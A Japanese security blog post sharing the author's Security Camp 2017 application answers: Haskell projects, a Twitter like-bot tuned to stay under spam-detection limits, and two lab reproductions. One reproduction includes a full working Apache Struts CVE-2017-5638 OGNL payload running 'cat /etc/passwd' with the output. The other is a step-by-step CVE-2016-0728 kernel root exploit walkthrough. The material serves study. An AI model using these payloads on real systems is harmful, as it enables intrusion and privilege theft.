でるたのーと

Cyber security blog


セキュリティ・キャンプ 2017年の応募用紙をさらす

発端は 1年前。。。

何がデジャブなのか知らんけど、とにかく 1年前、僕はセキュキャンに落ちました。
そしてまぁ、お祈りメールというものを受け取るわけですよ。

IPAセキュリティ・キャンプ事務局です。
この度はセキュリティ・キャンプ全国大会2016にご応募いただき、
誠にありがとうございました。

セキュリティ・キャンプ実施協議会企画・実行委員会による審査の結果、
誠に残念ながら参加を見送らせていただくことになりました。

ご期待に添うことができませんでしたが、何卒ご理解のほどお願い申し上げます。
なお、採点方法および回答結果についてのお問い合わせにはお答えできませんので、
ご了承ください。

今後一層のご活躍をお祈り申し上げます。

「今後一層のご活躍をお祈り申し... いや、この人、絶対に祈ってないと思う。


すっげぇ悔しくて、こう思ったわけ、「来年こそは受かってやるぞこのビチクソキャンプ団体が」と。


6月 15日追記


受かった。長かった。1年前に落ちたときは、本当に悔しかった。でも負けたくなかった。
だからとりあえず努力を始めて、色々な経験を積んできた。そして、気がついたら受かってた。


受かった人たちへ
全国から集まった、トップレベルの変態であるあなたたちに会うのを楽しみにしています。今はボッコボコにされると思いますが、1年後に勝つのは俺です。よろしくお願いします。


落ちた人たちへ
大丈夫、もう参加できないならともかく、1年間努力すれば俺みたいなアホでも受かる。結局、勉強したやつが勝つわけよ。
あと、去年落ちたときの応募用紙も載っけておくので、参考にして頂ければ嬉しいです。


ということで早速さらす (2017年)

共通 1.1

3つほど紹介します。

けもの言語インタプリタ

https://github.com/pythonissam/kemono-haskell

https://github.com/consomme/kemono_friends_lang を参考にして作った、けもの言語インタプリタHaskell実装です。Brainfuckインタプリタは借用しています。けものフレンズの数々の名言を使ってコードを書けます。

例えば:

たーのしー!たーのしー!たーのしー!たーのしー!うわー!たのしー!たーのしー!たーのしー!たーのしー!たーのしー!たーのしー!すごーい!すっごーい!わーい!たのしー!うわー!すごーい!たーのしー!たーのしー!たーのしー!たーのしー!たーのしー!たのしー!すっごーい!わーい!たーのしー!すごーい!たーのしー!うわー!

たのしー!うわー!たのしー!たーのしー!たのしー!たーのしー!すごーい!すごーい!すっごーい!わーい!たーのしー!たーのしー!たのしーたのしー!うわー!すごーい!すごーい!たーのしー!たのしーたのしー!すっごーい!わーい!たのしーたのしーたのしー!うわー!すっごーい!わーい!たーのしー!たーのしー!たのしー!うわー!すっごーい!わーい!たーのしー!

たのしーたのしーたのしー!たーのしー!うわー!うわー!すっごーい!わーい!たーのしー!たーのしー!たーのしー!たーのしー!たーのしー!たーのしー!たのしーたのしーたのしー!わーい!すごーい!すごーい!すごーい!うわー!うわー!すごーい!たーのしー!たーのしー!たーのしー!たーのしー!たーのしー!たーのしー!たーのしー!たーのしー!すごーい!たーのしー!たーのしー!たのしーたのしー!すっごーい!わーい!たーのしー!すごーい!なにこれなにこれ!すごーい!うわー!たのしー!すっごーい!すっごーい!すっごーい!すっごーい!すごーい!すっごーい!わーい!すごーい!わーい!

すごーい!すごーい!うわー!たのしーたのしーたのしーたのしーたのしー!うわー!たのしーたのしーたのしー!うわー!すっごーい!わーい!たーのしー!たーのしー!たーのしー!たーのしー!たーのしー!たーのしー!たーのしー!たーのしー!たーのしー!すごーい!うわー!たのしー!すっごーい!すごーい!すっごーい!わーい!たーのしー!たーのしー!たーのしー!たーのしー!たーのしー!たーのしー!たーのしー!たーのしー!たーのしー!たのしー!うわー!すっごーい!うわー!すごーい!すっごーい!たのしー!すっごーい!わーい!たーのしー!うわー!すごーい!すごーい!すごーい!わーい!わーい!すごーい!うわー!たのしー!たーのしー!すごーい!すっごーい!わーい!たのしー!わーい!すごーい!すごーい!すっごーい!わーい!すごーい!すごーい!すっごーい!

わーい!

このコードは 0 から 100 までの数をそれぞれ 2乗した値を表示するはずです。
実際に走らせるだけではなく、Brainfuck のコードをけもの言語に変換することもできます。samples 以下にサンプルあり。


巡回群Haskell で生成する

https://github.com/pythonissam/Cyclic

授業で習った群論の話の延長です。群論は、抽象的な構造を分析する際に役に立つみたいです (私の人生の中でまだ役に立ったことはありませんが)。まず、群とは、「ある操作と集合のペア」で、群の公理と呼ばれる 4つの条件を持った代数的構造です。巡回群は群に、「全ての要素がたった 1つの要素 (生成元) の累乗で表わされる」という性質を加えたものです。巡回群の例としては、文字列を回転させるような置換からなる巡回群・1 の n乗根などがあります。

これは、その巡回群を作るための関数 cycle' を実装したものです。

cycle' :: (a -> a -> a) -> a -> Int -> [a]
Android で動く Twitter のボット

https://github.com/pythonissam/LoveMachine

指定されたワードを含むツイートをツイッターの全ストリームから検索して、自動的にいいね! します。授業で Android を触る機会があったので作ってみました。


共通 1.2

けもの言語インタプリタ

https://github.com/pythonissam/kemono-haskell

Haskell で作りました。ビルドシステムは Stack です。やっているのは、けもの言語と Brainfuck の変換です。変換は単に置換することで、実行は一旦 Brainfuck に変換してから Brainfuckインタプリタに流すことで実装しています。

「すごーい!」等のマルチバイト文字は String型では扱いにくいので、Text型で扱うことにしました。String型なら簡単にできることが、Text型では思いの外できず、めんどうでした。例えば、Text型は String型のように何かのリストにはなっていません。そのため、リストで使える便利な方法が使えなくなっています。結果、けもの言語から Brainfuck に変換する際、("すごーい!":xs) のようにプリフィックスを切り落とすことができませんでした。この問題は GHC拡張の View patterns を使うことでしのぎました。

しかしそもそも、パターンマッチでパースをしたのは良くなかったと思います。Haskell は高度に抽象化された関数が多く、多くの場合、車輪の再発明をする必要はありません。今回もその例外ではなく、調べてみたところ、parsec というパーサ用のライブラリが提供されていました。これを使えば、もっと簡潔に書けたと思います。また時間があるときに、この実装も作ってみたいです。
また、Brainfuck インタプリタはおもいっきりパクってきているので、この部分も自分で書いてみたいです。そのときにも、このライブラリが使えそうです。

巡回群Haskell で生成する

https://github.com/pythonissam/Cyclic


これも Haskell で書きました。ビルドシステムも同じく Stack です。Haskell を使ったのは、群論の先に圏論があるので、相性は良いはずだという理由からです。
まず、cycle' は

1. 群の操作
2. 生成元
3. 群の位数 (要素の数)

を引数として取ります。要素が比較可能な場合は、同じ要素が出てくるまでの数が群の位数なので、これを引数に取る必要はないかもしれません。しかし、要素として関数を持ったりするときに、一般的に関数同士を比較する方法はありません。なので、仕方なく群の位数を取っています。

重要なのは中で使っている cycle'' です:

cycle'' :: (a -> a -> a) -> a -> a -> Int -> [a]
cycle'' _ 0 = []
cycle'' f gen p order = p : cycle'' f gen (p `f` gen) (order-1)

群の位数が 0 の場合は、当然要素の数は 0 です。空リストを返します。
それ以外の場合は、p をアキュミュレータとして使い、[p, p^1, p^2, ..., e]という風に、操作の適用を一回ずつ増やしていった要素から成るリストを返します。

サンプルとして、文字列を回転させる要素から成る巡回群・1 の n乗根から成る巡回群を作りました。
それらの巡回群を使った関数の実行例を載せておきます。

文字列を 2文字ずつ右回転

*Rots Cycle Instances Roots Rots> mapM_ T.putStrLn $ rots (2) $ T.pack "すっごーい!君はセキュリティが得意なフレンズなんだね!"
すっごーい!君はセキュリティが得意なフレンズなんだね!
ね!すっごーい!君はセキュリティが得意なフレンズなんだ
んだね!すっごーい!君はセキュリティが得意なフレンズな
ズなんだね!すっごーい!君はセキュリティが得意なフレン
レンズなんだね!すっごーい!君はセキュリティが得意なフ
なフレンズなんだね!すっごーい!君はセキュリティが得意
得意なフレンズなんだね!すっごーい!君はセキュリティが
ィが得意なフレンズなんだね!すっごーい!君はセキュリテ
リティが得意なフレンズなんだね!すっごーい!君はセキュ
キュリティが得意なフレンズなんだね!すっごーい!君はセ
はセキュリティが得意なフレンズなんだね!すっごーい!君
!君はセキュリティが得意なフレンズなんだね!すっごーい
ーい!君はセキュリティが得意なフレンズなんだね!すっご
っごーい!君はセキュリティが得意なフレンズなんだね!す
!すっごーい!君はセキュリティが得意なフレンズなんだね
だね!すっごーい!君はセキュリティが得意なフレンズなん
なんだね!すっごーい!君はセキュリティが得意なフレンズ
ンズなんだね!すっごーい!君はセキュリティが得意なフレ
フレンズなんだね!すっごーい!君はセキュリティが得意な
意なフレンズなんだね!すっごーい!君はセキュリティが得
が得意なフレンズなんだね!すっごーい!君はセキュリティ
ティが得意なフレンズなんだね!すっごーい!君はセキュリ
ュリティが得意なフレンズなんだね!すっごーい!君はセキ
セキュリティが得意なフレンズなんだね!すっごーい!君は
君はセキュリティが得意なフレンズなんだね!すっごーい!
い!君はセキュリティが得意なフレンズなんだね!すっごー
ごーい!君はセキュリティが得意なフレンズなんだね!すっ

文字列を 3文字ずつ左回転

*Rots Cycle Instances Roots Rots> mapM_ T.putStrLn $ rots (-3) $ T.pack "すっごーい!君はセキュリティが得意なフレンズなんだね!"
すっごーい!君はセキュリティが得意なフレンズなんだね!
ーい!君はセキュリティが得意なフレンズなんだね!すっご
君はセキュリティが得意なフレンズなんだね!すっごーい!
キュリティが得意なフレンズなんだね!すっごーい!君はセ
ティが得意なフレンズなんだね!すっごーい!君はセキュリ
得意なフレンズなんだね!すっごーい!君はセキュリティが
フレンズなんだね!すっごーい!君はセキュリティが得意な
ズなんだね!すっごーい!君はセキュリティが得意なフレン
だね!すっごーい!君はセキュリティが得意なフレンズなん

1 の 3乗根

*Rots Cycle Instances Roots Rots> roots 3
[cos(2π*3/3) + isin(2π*3/3),cos(2π*1/3) + isin(2π*1/3),cos(2π*2/3) + isin(2π*2/3)]

苦労したのは、cycle' の実装ではなく、使い方です。特に文字列の回転は、回転する文字数・回転する方向など、どこまで抽象化するのか、そしてどのような実装が可能なのか、ということを何回も試して、また数学的に考えました。
例えば、文字列を回転させる関数、rots :: Int -> T.Text -> [T.Text] は、内部で cycle' を使いながら巡回群を生成しているにも関わらず、

1. 何文字ずつ回転させるか・どの方向に回すか
2. 対象の文字列

しか引数に取りません。群の位数を取っていません。これは、1番目の引数の絶対値と 2番目の引数の長さの最小公倍数を 1番目の引数で割った値が、そのまま群の位数になるからです。文字列を回転させる実行例では、

27 * 2 / 2 = 27
27 / 3 = 9

となり、これがそのまま文字列の行の数になっています。

また、改善案としては、循環群のクラスを作る、というものがあります。群のクラスは Data.Group 等のモジュールに既に存在するので、それを拡張して巡回群を作れたらおもしろいと思います。

Android で動く Twitter のボット

https://github.com/pythonissam/LoveMachine

まず、このアプリは Twitter4J というライブラリを使っています。Twitter APIOAuth認証を使っています。この手続きが地味に面倒で、何回かトークン等のやり取りをしなければいけません。LoginActivity が、この認証を担う部分です。ボタンが押されたら Twitter API の認証画面を開きます。認証が済んだら、URI から oauth_verifier を取得する必要があります。そのため、同じ Activity の onNewIntent に処理を飛ばしていますが、どうも賢くない気がします。しかしとりあえずこれで動きます。アクセストークンを取得したら、認証の部分は終わりです。

次に DesignActivity で、ボットのデザインをします。needle に検索対象の言葉を入力してもらいます。

最後に、LoveMachineActivity に遷移します。必要な情報を ConfigurationBuilder に保存した後、TwitterStream を開きます。needle を基にフィルターを作り、検索対象語を含むツイートを検索します。そこで得られたツイートをパースし、いいねをするのが LoveMachineBotクラスです。onStatusメソッドでツイートID を受け取ると、favo で実際にいいねをします。

ちなみに、Twitter にはボットを排除するための様々な規制が存在します。その規制を回避するために、いいねはインターバルを 37秒程度に設定し、規制されない (と噂されている) 上限ぎりぎりにしています。実はリツイートやリプライも実装はしてみたのですが、ツイッターのスパム規制を逃れられず、実用はできないと判断しました。
この基準では「同じ投稿やあまりにも短かいスパンでの投稿など、機械であることを悟られたらアウト」らしく、私の力で回避するのは無理でした (いいねはただ押すだけなのでボットであることを判定されにくい)。もし改善するなら、この辺りの規制を回避する方法を考えて実装したいです。


共通 2.1

Haskell の値を Cookie に保存し、その後でその値を復元する


共通 2.2

まず、背景から説明します。Haskell には Yesod という Webアプリケーションフレームワークがあります。バイト先でそれを使っているのですが、ある日フォームを作ることになりました。そのフォームの型は、Yesod の中で以下のように好きに定義し、使うことができます:

data MyForm = MyForm
  { name  :: Text
  , age  :: Int
  , gender  :: Gender
  , comment  :: Text
  }

data Gender = Woman | Man | Other

さて、Yesod にはハンドラという概念があります。MVCモデルにおける、コントローラの一部分です。この内部の実装で、リクエストに対するレスポンスを定義します。このときは、送信されたフォームのデータをあるハンドラで受け取り、別のハンドラにリダイレクトし、内容の確認画面を送信者に表示する機能を作りたいと考えていました。しかし、ハンドラ間で直接データをやり取りする方法はありません。そうしたいときは、一旦リダイレクト元のハンドラで Cookie にその値をセットした後、Cookie を介してリダイレクト先のハンドラで値を受け取る必要があります。ここが問題の生じた場所です。Cookie をセットするのに setSession :: MonadHandler m=> Text-> Text-> m () を、Cookie から値を取り出すのに lookupSession :: MonadHandler m => Text -> m (Maybe Text) という関数を使います。しかし、これらの関数は Text型のデータのやり取りしかできません。利便性を考えると元のフォームの型 (ここでは MyForm型) で受け取れた方が明らかに都合が良いのですが、そうするのに以外と手間がかかったというのが、今回の問題です。

問題を解決するために、まずは MyForm型を Showクラスと Readクラスのインスタンスにすることを考えました。それができれば、show をかまして MyForm型を String型に変換、その後に pack をかますことで Text型に変換できます。これで setSession には問題なく値を渡せます。そして lookupSession で Text型のデータを受け取った後、とりあえず unpack で String型に直して、read で MyForm型に直してやれば、こちらも問題ないでしょう。この方法では以下のような実装になります:

data MyForm = MyForm
  { name  :: Text
  , age  :: Int
  , gender  :: Gender
  , comment  :: Text
  } deriving (Show, Read)

data Gender = Woman | Man | Other deriving (Read)

instance Show Gender where
  show Woman = "女"
  show Man   = "男"
  show Other = "それ以外"

データの流れはこんな感じです:

MyForm -> Text -> Cookie -> Text -> MyForm

ところが、この実装ではうまくいきません。MyForm型が String型に変換される際、Gender型の値が "女" "男" という値になり、Readクラスの自動導出では元の型に戻す際にパースができないからです。そのため、Gender型を自分で Readクラスのインスタンスにする必要があるのですが、read が中でやっているのは字句解析です。つまり、それなりに面倒な作業になります。結局、後でこの方法を使った実装に成功しましたが、とりあえずこの方針は保留とし、もっと簡単な方法を目指すことになりました。

そしてググりながら行き着いたのが、MyForm型と Gender型を、aeson というパッケージの ToJSONクラスと、FromJSONクラスのインスタンスにする、という方法です。こうすると何が嬉しいのかを説明します。これらのクラスは JSON として、Value という型を扱います (https://hackage.haskell.org/package/aeson-1.2.0.0/docs/Data-Aeson-Types.html#t:Value)。ToJSONクラスは toJSON :: a -> Value というメソッドで MyForm型から Value型への変換を、FromJSONクラスは fromJSON :: FromJSON a => Value -> Result a というメソッドで、実質的に Value型から MyForm型への変換を提供してくれます。そして、MyForm型と Gender型を Genericクラスのインスタンスにしてしまえば、それぞれの型は簡単に ToJSONクラス、FromJSONクラスのインスタンスになることができます。さらに、 Value型はすでに、Showクラスと Readクラスのインスタンスになっています! これは以下のようなデータの流れを可能にします:

MyForm -> Value -> Text -> Cookie -> Text -> Value -> MyForm

つまりまとめると、Gender型を Readクラスのインスタンスにするのではなく、ToJSONクラスと FromJSONクラスのインスタンスにすることで、Value型を介して Text型から MyForm型の変換を可能にします。

必要な実装はこんな感じになります:

{-# LANGUAGE DeriveGeneric #-}

data MyForm = MyForm
  { name  :: Text
  , age  :: Int
  , gender  :: Gender
  , comment  :: Text
  } deriving (Generic)

instance ToJSON MyForm
instance FromJSON MyForm

data Gender = Man | Woman | Other deriving (Generic)

instance ToJSON Gender
instance FromJSON Gender

----------------------------------------------------

import Data.Aeson (Result(..), fromJSON)

-- MyForm型から Text型へ
encode :: ToJSON a => a -> Text
encode = tshow . toJSON

-- Text型から MyForm型 (Maybe MyForm型) へ
decode :: FromJSON a => Text -> Maybe a
decode = fromResult Nothing . maybe (Error "parse error") fromJSON . readMay

fromResult :: a -> Result a -> a
fromResult _ (Success x) = x
fromResult x _ = x

共通 2.3

もし私がアドバイスするなら、「本来の目的を忘れないで」と言うと思います。当初私は、Showクラスと Readクラスのインスタンスにする方針に固執していました。String型や Text型から別の型に変換する場合、普通はこれを使うからです。しかし、解決策は他にもいろいろ存在していたはずです。あまりにもできないのなら、とりあえずググるなり他人に聞くなりして、他の方法を探せばよかったのです。結局うまくいけばそれでいいんですからね。

ただもう一つ、「できなかったことを放置しちゃだめだ」と付け加えます。私は当初の方針を放置してしまいましたが、バイト先の上司にアドバイスをもらって、この方法でも実装することができました。考えてみれば、同じような事例は、今後いくらでも見つかると思います。そのときに問題を解決するための武器が、一つ少なくなっていたかもしれません。それはもったいないことです。そして、いくら難しそうな問題でも、時間をかけたりアドバイスをもらったりすれば、案外解けるものです。諦めてはいけないと思います。


共通 3.1

C1 ブラウザの脆弱性とそのインパク

ブラウザは一般の人たちも多く使うために、一度脆弱性が発見されると、被害が拡大しかねません。私は選択問題で SOP のバイパスをして、任意のファイルの閲覧を許す脆弱性に取り組みました。この脆弱性を突けば、悪意のあるサイトにアクセスさせるだけで攻撃が成立します。しかも実際に使われていたところを発見されたと言うのだからぞっとします。一般のユーザはまず気がつきません。この講義で得た知識を基に、本当に近くに脅威があるということを、周りの人たちに伝えていければと思います。

D2~3 カーネルエクスプロイトによるシステム権限奪取

カーネルやメモリなど、コンピュータの深い部分に存在する脆弱性への攻撃は、美しいものが多いと感じています。今まで独学で勉強してきたのは、主にこの部分です。スタックオーバーフローや Format String Attack、Use After Free などは、きれいに動いているものに小細工をして、軌道を変える感じがして楽しかった。あのパズルのピースをうまくはめる感覚をセキュリティキャンプでも体験したいし、美しい攻撃をしてくれるものと期待もしています。複数の脆弱性をつなぎ合わせて攻撃をする、という部分にも惹かれました。

D4 マルウェア x 機械学習

めんどくさいことは避けたい、できるだけ簡単に仕事がしたい。私はそんな人間なので、機械学習・自動化という文字がまぶしく見えました。楽ができるに越したことはありません。もちろんマルウェアそのものに興味がありますし、どのように自動化がなされたのかも単純に気になります。また、攻撃者側も機械学習を使って攻撃をする時代になりつつあります。どう転んでも、セキュリティには機械学習が付いてくるはずです。そのような現状の中、最前線の話を聞いて、これからの下地にしたいという思惑もありました。

E4 サイバー犯罪捜査の現場

私はサイバー犯罪と聞くと、真っ先に片山祐輔氏が起こした遠隔操作ウイルス事件を思い出します。この事件では、4人が誤認逮捕されました。警察は無能だと言うのは簡単ですが、私はこの事件をニュースで見たとき、実際の現場を見て、それを判断できればいいのにと思いました。今年のセキュリティキャンプにはその機会があります。是非ともこの講義に参加して、無条件に知識を受け入れるのではなく、少し批判的な視点から現場を見てみたいと思います。

B6 AVRマイコンで作るBadUSB工作・改

プログラム側の脆弱性は細々と触ってきましたが、ハードとなるとやはり少し敷居が高く、なかなか挑戦できませんでした。私が今回、セキュリティキャンプに求めているものの中には、幅広い知識があります。難しそうだからという理由で、こんなにおもしろそうな講義を逃したくないなと思いました。というか、私もいいかげん、手に取れるもの・動くものを作って楽しみたいんです。そのきっかけにしたいと思います。

E6~7 インシデントレスポンスで攻撃者を追いかけろ

以前サーバーを立ててみて、以外と攻撃を受けていることがわかりました。

このときはログを見て、「ああ、がんばって攻撃しようとしてるな」ぐらいの理解しかできませんでしたが、攻撃が他人事ではないということが分かったのは大きな収穫でした。この講義ではその理解を一歩進めて、攻撃者の意図や攻撃の内容まで理解できたらと思います。ゆくゆくはハニーポットでも立てて攻撃者と遊んでみたいので、そのための知識も仕入れられそうです。

共通 3.2

私はまず、セキュリティキャンプを通して、セキュリティに関連する幅広い知識を仕入れたいと思っています。今まで独学でセキュリティの勉強をしてきましたが、一人でやるとなると、どうしても見える世界が限られてきます。そして寂しいです。優秀な仲間や講師たちの話を聞き、上の世界を見てみたいと強く思います。セキュリティキャンプはそのための適切な機会を提供してくれます。

また、1年前のリベンジという目的も少なからずありました。正直、他の参加された方の回答用紙と比較すると、見劣りする内容だったのは確かです。しかし、落とされてめちゃくちゃ悔しかったです。知り合いが参加して、ヤフーニュースのトップになっているのを見て、「絶対に来年は参加してやる」と思いました。そしてこつこつと勉強を続けてきました。この 1年間、セキュリティキャンプは私の目標でした。自分がどのくらい努力を続けてきたのか、是非見てもらいたいと思います。


選択 A-1

Apache Struts 2 に存在した RCE の脆弱性、CVE-2017-5638 を狙った攻撃だと思われます。リクエスト内の Content-Type フィールドに OGNL をしこむことで、攻撃者は任意のコマンドを実行することができます。報告では、本脆弱性Jakarta Multipart parser という multipart/form-data 形式のリクエストを処理するパーサの実装が原因です。

さて、課題で与えられたパケットの内容だけ見てもピンと来なかったので、実際にこの脆弱性を再現し、通信内容を検証してみました。 実行環境は Ubuntu 14.04 です。

検証に使ったサンプルアプリケーションはこれです:
https://github.com/apache/struts-examples/tree/master/file-upload

$ # ダウンロード & 移動
$ git clone git@github.com:apache/struts-examples.git
$ cd struts-examples/file-upload 

脆弱性を持ったバージョンを使うために、pom.xml に以下の内容を追加

<dependencies> 
  <dependency> 
    <groupId>org.apache.struts</groupId> 
    <artifactId>struts2-core</artifactId> 
    <version>2.5.10</version> 
  </dependency> 
</dependencies> 
$ # war file を作成 
$ mvn clean package 

$ # Tomcat7 で動かします。 
$ sudo service tomcat7 stop 
$ sudo cp target/file-upload-1.0.0.war /var/lib/tomcat7/webapps 
$ sudo service tomcat7 start 

パケットキャプチャですが、dumpcap コマンドを使いました。以下のような感じです。

$ dumpcap -i lo -f "tcp port 8080" -a filesize:100 -n -w struts.pcap 

次に exploit コードですが、GitHub で見つけたものを使いました。
https://github.com/oktavianto/CVE-2017-5638-Apache-Struts2

今回は cat /etc/passwd というコマンドを実行させたいので、

$ php exploit.php "http://localhost:8080/file-upload-1.0.0/upload.action" "cat /etc/passwd"
とします。 

これを実行した結果、サーバー側で次のような通信を検出しました。

@^^`b(@$r.0
x@G*VV` @$r/V(
x@P```*@$r/V2
GET /file-upload-1.0.0/upload.action HTTP/1.1
Host: localhost:8080
Connection: close
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:51.0) Gecko/20100101 Firefox/51.0
Accept: */*
Content-Type: %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):*1.(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='cat /etc/passwd').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

x@(/QVV`b @$r/f(
x@`bf@$r/fn
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Transfer-Encoding: chunked
Date: Sun, 07 May 2017 06:55:27 GMT
Connection: close

6bd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
lxd:x:106:65534::/var/lib/lxd/:/bin/false
messagebus:x:107:111::/var/run/dbus:/bin/false
uuidd:x:108:112::/run/uuidd:/bin/false
dnsmasq:x:109:65534:dnsmasq,,,:/var/lib/misc:/bin/false
sshd:x:110:65534::/var/run/sshd:/usr/sbin/nologin
ntp:x:111:117::/home/ntp:/bin/false
conoha:x:1000:1000:,,,:/home/conoha:/bin/bash
colord:x:112:119:colord colour management daemon,,,:/var/lib/colord:/bin/false
tomcat7:x:113:120::/usr/share/tomcat7:/bin/false

添付されたファイルと比較すると、まずレスポンスが欠けていることがわかります。メッセージには cat /etc/passwd の結果が含まれていて、(1) 脆弱性が存在すること (2) tomcat7 が root権限で実行されていること が攻撃者に筒抜けになっているものと思われます。その環境のどんな情報も抜かれ放題でしょう。

また、今回の脆弱性の特徴は、「ルート権限で任意のコマンドを実行可能」という点にあります。攻撃者はその特徴を利用し、脆弱性が塞がれた場合にそなえて何か対策をしてくるのではないでしょうか? 私が攻撃者だったら http://blog.trendmicro.co.jp/archives/7674 にあるように、Webshell やバックドアの設置を考えるところです。


選択 A-5

これは CVE-2016-0728 で報告された脆弱性です。本脆弱性を再現するにあたり、整備した環境・条件は以下の通りです。

参考資料:

参考にした Gist のコメントによると、SMEP (Supervisor Mode Execution Protection) と SMAP (Supervisor Mode Access Protection) は切っておいた方がいいようです。そのためには config をいじる必要があり、デバッグ用のコードもしこみたかったので、カーネルはソースからビルドして自前のものを使いました。SMEP (Supervisor Mode Execution Prevention) は ビルド後に、/etc/default/grub 内の GRUB_CMDLINE_LINUX_DEFAULT に nosmep を追加することで切ることができます。SMAP は .config をいじって切っておきました。

準備の後に課題のコードを実行し、/proc/keys を見てみると、以下のような行があります。

$ cat /proc/keys 
3c66b05e I--Q---   100 perm 3f3f0000  1000  1000 keyring   leaked-keyring: empty

このバグと exploit の詳しい説明は、

http://perception-point.io/2016/01/14/analysis-and-exploitation-of-a-linux-kernel-vulnerability-cve-2016-0728/

にあります。

今回のバグは、鍵保存サービスに存在します。鍵保存サービスとは、認証データをカーネル内部にキャッシュしておくサービスのことです。このサービスのおかげで、Linuxカーネルから必要な鍵に素早くアクセスしたり、追加、更新、削除などの重要な操作をユーザー空間のプログラムに委譲したりすることも可能になります。それぞれのデータは鍵オブジェクトによって管理されます。鍵オブジェクトには現在その鍵を参照しているプロセスの数も保存されています。それが usage というフィールドです。参照が終わると usage は減らされます。usage が 0 になると参照が無くなったということなので、鍵は破棄されます。

さて、それぞれのプロセスは keyctl(KEYCTL_JOIN_SESSION_KEYRING, name) を使うことで現在のセッション向けに、keyring という鍵の一種を作ることができます。既に現セッションに keyring が存在する場合、引数として渡した名前の keyring に置き換えます。このシステムコールによって join_session_keyring関数が呼ばれますが、内部では find_keyring_by_name が呼ばれ、指定された名前の keyring を見つけた場合、usage が 1 増やされます。もちろん join_session_keyring関数が終了した後には、usage は減らされなければなりません。そのために key_put 関数が呼ばれます。しかし、Linuxカーネル 3.8 - 4.4 の実装では、既に存在する keyring を同名の keyring で置き換えようとした場合、この呼ばれるべき key_put 関数がスキップされてしまいます。従って、鍵の参照が終了していても、usage は減らされないというおかしな事態が発生します。これが報告されたバグです。課題のコードを実行したときに、鍵の参照が 100回残ったまま廃棄されずにリークしていたのは、join_session_keyring関数が 100回呼ばれたことが原因です。

次に権限昇格の方法です。基本的に資料の PoC 通りです。流れは次のような感じ:

1. usage は atomic_t 型。基本的に int 型と同じなので、何回も join_session_keyring を回せばオーバーフローさせられる
2. オーバーフローさせて usage を 0 にすると、Garbage collection が走って keyring が破棄される
3. keyring と同じサイズの自前の鍵の構造体を作り、keyring->type->revoke に commit_creds(prepare_kernel_cred(0)) を実行させるための userspace_revoke関数のアドレスを保存する
4. msgsnd 関数を使って、作った鍵を何個も確保し、破棄された keyring のアドレスにはまることを祈る
5. keyctl(KEYCTL_REVOKE, KEY_SPEC_SESSION_KEYRING) を呼んで、セッションの keyring に保存された関数を実行させる
6. 権限が昇格された状態でシェルをローンチする

1番ですが、実際には join_session_keyring 内には find_keyring_by_name 以外にも usage の値を増減させる関数呼び出しが存在します。この呼び出しで usage がリークするわけではありませんが、RCU の job を使うので、時間が経ってから usage が減らされたりします。例えば、1回 join_session_keyring が呼び出されると、usage は 2 -> 4 -> 3 のように増減します。この「2段飛ばし」に注意しなければ、気づかないうちに usage がオーバーフローすることも考えられます。どんなに usage が増えても join_session_keyring が呼び出される回数の 2倍を超えることはないので、01111111111111111111111111111111(2), 10111111111111111111111111111111(2)… というタイミングで usage を減らしてやれば、勝手にオーバーフローすることはありません。スリープさせることで job が走ります。うまいやり方だと思います。

3番の commit_creds(prepare_kernel_cred(0)) は、現行のプロセスに完全な権限を付与します。そこからシェルを立ち上げるので、当然ルートが取れます。/proc/kallsyms の中にこの関数へのアドレスがあるので、該当するものを探して使います。

4番の msgsnd関数ですが、確保されるキューはカーネルメモリのいずこかに保存されます。keyring オブジェクトもカーネルが確保しているメモリのどこかに保存されているはずなので、うまくいけばガーベジコレクションが走った後に、keyring があったアドレスを乗っ取ることができます。

5番の KEYCTL_REVOKE は、現在のセッションに紐付いている keyring を参照します。うまく keyring を乗っ取れていたら、プロセスの権限を昇格させてくれるはずです。

さて、これでうまくように見えますが、Gist のコメントを見ると多くの人が挑戦して、失敗しています。自分の環境も同じで、PoC のままではうまくいきませんでした。最初の join_session_keyring のループが終わった後に usage が -3 になっていたので、2番目の join_session_keyring 関数のループを 3回にするとルートが取れました。コードは以下の通りです。というか、Gist のコメントの中にあったコードほとんどそのものです。

#include <stddef.h> 
#include <stdio.h> 
#include <stdlib.h> 
#include <string.h> 
#include <sys/types.h> 
#include <keyutils.h> 
#include <unistd.h> 
